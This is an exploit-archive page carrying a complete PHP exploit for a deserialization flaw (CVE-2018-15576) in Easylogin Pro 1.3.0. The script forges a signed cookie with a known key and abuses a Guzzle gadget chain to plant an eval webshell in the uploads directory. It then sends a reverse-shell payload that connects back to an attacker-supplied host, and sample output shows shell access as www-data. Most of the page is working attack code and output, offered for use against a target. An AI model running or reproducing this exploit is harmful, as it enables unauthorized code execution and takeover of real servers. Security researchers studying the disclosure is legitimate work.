what you don't know can hurt you

Easylogin Pro 1.3.0 Remote Code Execution

Easylogin Pro 1.3.0 Remote Code Execution
Posted Aug 21, 2018
Authored by mr_me

Easylogin Pro version 1.3.0 suffers from an a deserialization issue in Encryptor.php that permits a code execution vulnerability.

tags | exploit, php, code execution
advisories | CVE-2018-15576
MD5 | 03801bbaa56a11377a136ef865c65bf3

Easylogin Pro 1.3.0 Remote Code Execution

Change Mirror Download
#!/usr/bin/php
<?php
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1

Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576

Notes:
======

- This is not really a security issue I guess, because you need to know the key.
But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol

Example:
========

mr_me@pluto:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies

mr_me@pluto:~$ ./e.php

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)

----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)

(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860

www-data@target:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@target:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug 9 14:49 ..
-rwxrwxrwx 1 root root 13 Dec 12 2017 .gitignore
www-data@target:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul 4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
www-data@target:/var/www/html/uploads$
*/

namespace GuzzleHttp\Cookie;

// change these to work against your target
$key = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";

class Encrypter {
protected $key;
protected $cipher;

public function __construct($key, $cipher = 'AES-256-CBC'){
$key = (string) $key;
$this->key = $key;
$this->cipher = $cipher;
}

public function encrypt($value, $serialize = true){
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));
$value = openssl_encrypt(
$serialize ? serialize($value) : $value,
$this->cipher, $this->key, 0, $iv
);
if ($value === false) {
throw new EncryptException('Could not encrypt the data.');
}
$mac = $this->hash($iv = base64_encode($iv), $value);
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERROR_NONE) {
throw new EncryptException('Could not encrypt the data.');
}
return base64_encode($json);
}

public function encryptString($value){
return $this->encrypt($value, false);
}

protected function hash($iv, $value){
return hash_hmac('sha256', $iv.$value, $this->key);
}
}

// pop chain
interface ToArrayInterface {}

class SetCookie implements ToArrayInterface {
private $data;

public function __construct(array $data = []){
$this->data = $data;
}
}

class CookieJar implements ToArrayInterface {
private $cookies;

public function setCookie(SetCookie $cookie){
$this->cookies = array($cookie);
}
}

class FileCookieJar extends CookieJar {
private $filename;

public function __construct($bd_file, $cbh, $cbp){
$this->filename = $bd_file;
$this->setCookie(new SetCookie(array(
"Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>',
"Expires" => true,
"Discard" => false,
)));
}
}

class Exploit{
private $target;
private $targetport;
private $cbhost;
private $cbport;
private $key;
private $path;

public function __construct($t, $tp, $cbh, $cbp, $k, $p){
$this->target = $t;
$this->targetport = $tp;
$this->cbhost = $cbh;
$this->cbport = $cbp;
$this->key = $k;
$this->path = $p;
}

public function run(){

// its possible to leak the path if app.php contains 'debug' => true
// also, uploads is writable by default for avatars
$fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
$e = new Encrypter($this->key);
$this->p = $e->encryptString(serialize($fcj));

// hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login
$c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));
if ($c === 500){
print "(+) pop!\r\n";

// start our listener
$s = new Shell($this->cbport);
$s->start();

// msf reverse shell with some stuff modified
$rs = <<<'PHP'
@error_reporting(-1);
@set_time_limit(0);
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='[cbhost]';
$port=[cbport];
function PtdSlhY($c){
global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
// we disappear like a fart in the wind
@unlink("si.php");
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);
PHP;
$rs = str_replace("[cbhost]", $this->cbhost, $rs);
$rs = str_replace("[cbport]", $this->cbport, $rs);
$php = base64_encode($rs);
$this->do_get("uploads/si.php", array("si: $php"));
}
}

private function do_get($p = "index.php", array $h = []){
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => "http://$this->target/$p",
CURLOPT_HTTPHEADER => $h,
CURLOPT_PORT => (int) $this->targetport
));
$resp = curl_exec($curl);
return curl_getinfo($curl, CURLINFO_HTTP_CODE);
}
}

class Shell extends \Thread{
private $cbport;

public function __construct($cbp){
$this->cbport = $cbp;
}

public function run(){
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$ret = @socket_bind($sock, 0, (int) $this->cbport);
$ret = @socket_listen($sock, 5);
$msgsock = @socket_accept($sock);
@socket_close($sock);
$start = true;
$fp = fopen("php://stdin", "r");
while(false !== @socket_select($r = array($msgsock))){
if ($start === true){
if (socket_getpeername($r[0], $a, $p) === true){
print "(+) connectback from $a via port $p\r\n";
$s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");
}
}
$start = false;

// the pretty shells illusion
print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";

// get our command...
$c = fgets($fp);

// if the attacker enters nothing, continue...
if (strpos("\n", $c) === 0){
continue;
}
if (strpos($c, "cd") === false){
print $this->exec_cmd($msgsock, $c);
}elseif (strpos($c, "cd") !== false){
$this->exec_cmd($msgsock, $c, false);
}
if(in_array($c, array("exit\n", "quit\n"))){
break;
}
}
fclose($fp);
}

private function exec_cmd($c, $cmd, $ret=true){

// send our command to the reverse shell
@socket_write($c, $cmd, strlen($cmd));

if ($ret == true){
// we don't care to get the shell prompt back...
$resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));
if ($resp === "NULL"){
return "";
}else{
return $resp;
}
}
}
}

print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)\r\n");

if ($argc < 3) {
print_r("
----------------------------------------------------
Usage: php ".$argv[0]." -t <ip> -c <ip:port>
-t: target server (ip with or without port)
-c: connectback server (ip and port)
Example:
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
"); die; }

function set_args($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {
$_ARG[$reg[1]] = $reg[2];
} elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {
$_ARG[$reg[1]] = "true";
} else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}

$args = set_args($argv);
$host = $args["input"]["1"];
$cbsp = $args["input"]["2"];

if (strpos($host, ":") == true){
$host_and_port = explode(":", $host);
$host = $host_and_port[0];
$port = $host_and_port[1];
}else{
$port = 80;
}

if (strpos($cbsp, ":") == true){
$cbhost_and_cbport = explode(":", $cbsp);
$cbhost = $cbhost_and_cbport[0];
$cbport = $cbhost_and_cbport[1];
}else{
$cbport = 1337;
}

$ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){

// exploit entry
$poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);
print "\r\n(+) snap...\r\n(+) crackle...\r\n";
$poc->run();
}
/*
eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu
RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi
VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2
a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3
WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh
MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh
NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9
*/
?>


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close